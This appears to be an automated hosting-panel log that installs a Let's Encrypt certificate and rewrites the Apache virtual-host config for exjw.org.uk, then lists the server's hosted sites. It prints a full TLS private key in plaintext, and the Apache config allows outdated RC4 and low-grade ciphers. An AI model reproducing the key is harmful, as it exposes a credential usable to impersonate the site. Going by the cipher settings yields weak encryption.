2025-10-24 06:01:08: Establishing a connection
2025-10-24 06:01:08:
PUT: /tmp/pkp104098
#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
rm SSc7ObmLUCa7DgD1s0ExFrfa896N_rFskuksU_i4RnE
2025-10-24 06:01:08:
chmod 755 /tmp/pkp104098; /tmp/pkp104098; rm /tmp/pkp104098
2025-10-24 06:01:08:
2025-10-24 06:01:08: Establishing a connection
2025-10-24 06:01:08:
PUT: /tmp/pkp312679
#!/bin/bash
temp_file=$(mktemp)
TARGET=7661c45fa1dc2bd7dace8763d6046428.crt
cat > $temp_file <<'endmsg'
1e:5d:66:a1:17:26:91:65:4b:e8:52:bb:cf:2a:c0:d9
-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBdszfmZmIJy29sub85BQ0/XZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjM3WhcNMjYwMTIyMDUwMjM2WjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKtJ
PhJDDvjQlxwWKfJOHOQdY+/YAUvYuaMCmrOFi7Uv550o+WN1q1mMwFqxpoVVAf9L
2CttKAoNEGqtz3WhKqP4xcPlXsg5PfFhNIJ0W6rvPK3XylayxaVordnBUSD55U/w
XIRvredF0ywODSIa2HvcUb88jfXOy3/j7hOmHp7mi6JqR/tIptoLZG18IAHKbQXm
1KQ5+zebXQS9H5gEvQxGrGCTeW8wY8YAhTylVEDybQGu5Wyc16ai9gsSK3SdaxCr
g36RUaFqpAMsCCD9uhbnSgV86Wlu+tSZomms+cl0k1SXulQ/XrJvSt6S+5dCy3YC
9BPfcnrn0I8tSgb43mUCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUBZ3EhkLHosfXRoS2ySyccsh5OjgwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtleGp3Lm9yZy51azATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzkwLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABmhTOe28AAAQDAEcwRQIhAJGwit2etaOE
N+6uz2LkhIefVF5H2LgYwWPuRiz5mmjCAiAj9YuX3WWNI3b8I+87FEWAedVZChjt
UrQsnk/idULFbQB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAAB
mhTOe4MAAAQDAEYwRAIgRKxWGJN382SEqrYz2MRWFluvd+znNtukA+T2BrBMTY8C
IGz9ZxRIconcIPwqfK/rBbjxIaAz7iTrN8YGNDofUWaXMA0GCSqGSIb3DQEBCwUA
A4IBAQBe0sghFGux/IkTSMH6JaFhfgOXlUC/cFe44RV/fa1FF3pQZPFeP/kFqxRj
0JC3AX/6LlJw32uujgQp+IKcEOuGxHY0HLPDd8N6pVZ/govbf+j0xHRmaMpYMrkW
c5pHHlkNhgQSrWPCPzLerhLgt4Tso+FRZ6gAyxOT/bJvwghBYcungPuqEW5srG3C
viGddUPKMsNkvNnPCs7q6Q2KMia7lzjr1HscdpqmOrJEqaSXF5tBC/+a1QA6rVeg
rXR4iiX9juM2K9lPtOb84DSgh7GYhBp6HJJwWr9mKVW5luqWypr2eap+Gkly0I2U
C72+ifkWgAINsVvj9/BZ+Qlt3HPS
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrST4SQw740Jcc
FinyThzkHWPv2AFL2LmjApqzhYu1L+edKPljdatZjMBasaaFVQH/S9grbSgKDRBq
rc91oSqj+MXD5V7IOT3xYTSCdFuq7zyt18pWssWlaK3ZwVEg+eVP8FyEb63nRdMs
Dg0iGth73FG/PI31zst/4+4Tph6e5ouiakf7SKbaC2RtfCABym0F5tSkOfs3m10E
vR+YBL0MRqxgk3lvMGPGAIU8pVRA8m0BruVsnNemovYLEit0nWsQq4N+kVGhaqQD
LAgg/boW50oFfOlpbvrUmaJprPnJdJNUl7pUP16yb0rekvuXQst2AvQT33J659CP
LUoG+N5lAgMBAAECggEBAKCwzs29IY+lyQ3tcR7Dz3Dmbbo2EElCoi1epRmkQMQT
lBuptAVt//m8BT1QiqNtc7k5QyzCdByx0uPx+b4mG+XG3moAhmIa6ZTJF8UHOnRr
iqag2k9p2ehrAyZVqTHhnxLWsUUBrMlahVlAOWv0eYIB2KMrQRcJEXsCr3i5kOKK
Z/Ty/RtwuoAg3DJcaTSJatPoTy0Mt0eu1JqI4OFLYi2ynnV6laQjxFp/oOrgbiZe
U44J8U0nYFx8JxAKxEdCDFi6rhInNvZ+uCm1GqCBAWFv5JqreG4lZLVwFn7nfp+o
iCbfFhG1DvOzo6ZP8aU28kgX77KOqLOt3OuYboRuJgUCgYEA2LLbWSJzANQuySbq
p1qWHvYaYtDvGBHxluFclzITk8MrUmaIuBOtZTsgY1q5KLOs23Weu8+9CNDi+ftF
fhuv2h2ABFW+XUsWvp9/zV+L1RgxD1mJtH9H6kQ69UddRGnQlgu61t2kyh9+lSro
oRcg5PtJfW4eT0w2ErRnJjGQ3UsCgYEAylnq3lCsFhDflQ/6movarKo8XJ4tDXlj
MFh9+APklKKWM8yC3dfE1FqvL4qrbpbPFcphRFGWLIuCEk29fqi7uCtQV7RWdB6t
I6GqcA2ls02LA2/pnf4imx4gKXjXrpT2AO0dErGP4YVo50JOB+MIFT4JcAImmlOn
UTdZcdrGVQ8CgYEAqoemInD/u6k+4EFl7ClXdioJ/bWaUoDcc/YJnVplGaU/VGso
MGQb0kxDYqykhalP4KyhK/+BLYzk8gCRYXp8WtNYSREI6/YJgh2Wv5HvQtT01rWJ
rqdzeqITG677cLks0seMU0a9Reqe/Nh1lT/UPR6baL/dzl2VOAcMHXxoGh0CgYEA
jqS6S8PEu71jT1o3R/Dk0ykiagvbKI90m6UWD9r2rMy8Y4F8k1RCXYwbyMDRPqEz
FGJZFOcKnRYvOCXzOjFKO3bVKS5ob20ckmypkFoef/pez6p5njWDQaQH+hREvr4l
eNutzfq7ubfpDnUQOsERdqAH2Ry7B7mGzlrdQ8R8YYMCgYANTDlRwOPCKzxVSvqZ
OXbP5G3mXfH3rHSJWYwhBKOLwt2GhnOYuugq/+CkQITFgR+RFPFH4q/Tnsdtk6hl
JAZE2jfBfjpRIuAzmuvtKoSiGgWfox9cWa7uCuVrjuzhtRBwmwM+NBCUphysyYMX
pPcUzS7JlXOo+jdB9KZ2FtL44g==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-24 06:01:08:
chmod 755 /tmp/pkp312679; /tmp/pkp312679; rm /tmp/pkp312679
2025-10-24 06:01:08:
dir=/etc/ssl/certs
2025-10-24 06:01:08:
PUT: /tmp/pkp457019
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/exjw_www_org-uk.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-24 06:01:08:
chmod 755 /tmp/pkp457019; /tmp/pkp457019; rm /tmp/pkp457019
2025-10-24 06:01:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 39
<VirtualHost *:80>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_access.log combined
ErrorLog /var/log/apache2/exjw/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_secure_access.log combined
ErrorLog /var/log/apache2/exjw/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:01:08:
PUT: /tmp/pkp163281
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=exjw_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/exjw_www_org-uk.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_access.log combined
ErrorLog /var/log/apache2/exjw/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_secure_access.log combined
ErrorLog /var/log/apache2/exjw/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/exjw_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf= 1'
fi
2025-10-24 06:01:08:
chmod 755 /tmp/pkp163281; /tmp/pkp163281; rm /tmp/pkp163281
2025-10-24 06:01:08:
2025-10-24 06:01:08:
PUT: /tmp/pkp628901
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-24 06:01:08:
chmod 755 /tmp/pkp628901; /tmp/pkp628901; rm /tmp/pkp628901
2025-10-24 06:01:09:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:01:09: Establishing a connection
2025-10-24 06:01:09:
PUT: /tmp/pkp377853
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-24 06:01:09:
chmod 755 /tmp/pkp377853; /tmp/pkp377853; rm /tmp/pkp377853
2025-10-24 06:01:09:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:01:09:
PUT: /tmp/pkp695843
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/exjw_www_org-uk.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:01:09:
chmod 755 /tmp/pkp695843; /tmp/pkp695843; rm /tmp/pkp695843
2025-10-24 06:01:09:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 1259
<VirtualHost *:80>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_access.log combined
ErrorLog /var/log/apache2/exjw/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName exjw.org.uk
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
DocumentRoot /var/www/exjw_www
<Directory /var/www/exjw_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/exjw/www_secure_access.log combined
ErrorLog /var/log/apache2/exjw/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:01:09:
PUT: /tmp/pkp668400
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:01:09:
chmod 755 /tmp/pkp668400; /tmp/pkp668400; rm /tmp/pkp668400
2025-10-24 06:01:09:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt 5337
1e:5d:66:a1:17:26:91:65:4b:e8:52:bb:cf:2a:c0:d9
-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBdszfmZmIJy29sub85BQ0/XZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjM3WhcNMjYwMTIyMDUwMjM2WjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKtJ
PhJDDvjQlxwWKfJOHOQdY+/YAUvYuaMCmrOFi7Uv550o+WN1q1mMwFqxpoVVAf9L
2CttKAoNEGqtz3WhKqP4xcPlXsg5PfFhNIJ0W6rvPK3XylayxaVordnBUSD55U/w
XIRvredF0ywODSIa2HvcUb88jfXOy3/j7hOmHp7mi6JqR/tIptoLZG18IAHKbQXm
1KQ5+zebXQS9H5gEvQxGrGCTeW8wY8YAhTylVEDybQGu5Wyc16ai9gsSK3SdaxCr
g36RUaFqpAMsCCD9uhbnSgV86Wlu+tSZomms+cl0k1SXulQ/XrJvSt6S+5dCy3YC
9BPfcnrn0I8tSgb43mUCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUBZ3EhkLHosfXRoS2ySyccsh5OjgwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtleGp3Lm9yZy51azATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzkwLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABmhTOe28AAAQDAEcwRQIhAJGwit2etaOE
N+6uz2LkhIefVF5H2LgYwWPuRiz5mmjCAiAj9YuX3WWNI3b8I+87FEWAedVZChjt
UrQsnk/idULFbQB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAAB
mhTOe4MAAAQDAEYwRAIgRKxWGJN382SEqrYz2MRWFluvd+znNtukA+T2BrBMTY8C
IGz9ZxRIconcIPwqfK/rBbjxIaAz7iTrN8YGNDofUWaXMA0GCSqGSIb3DQEBCwUA
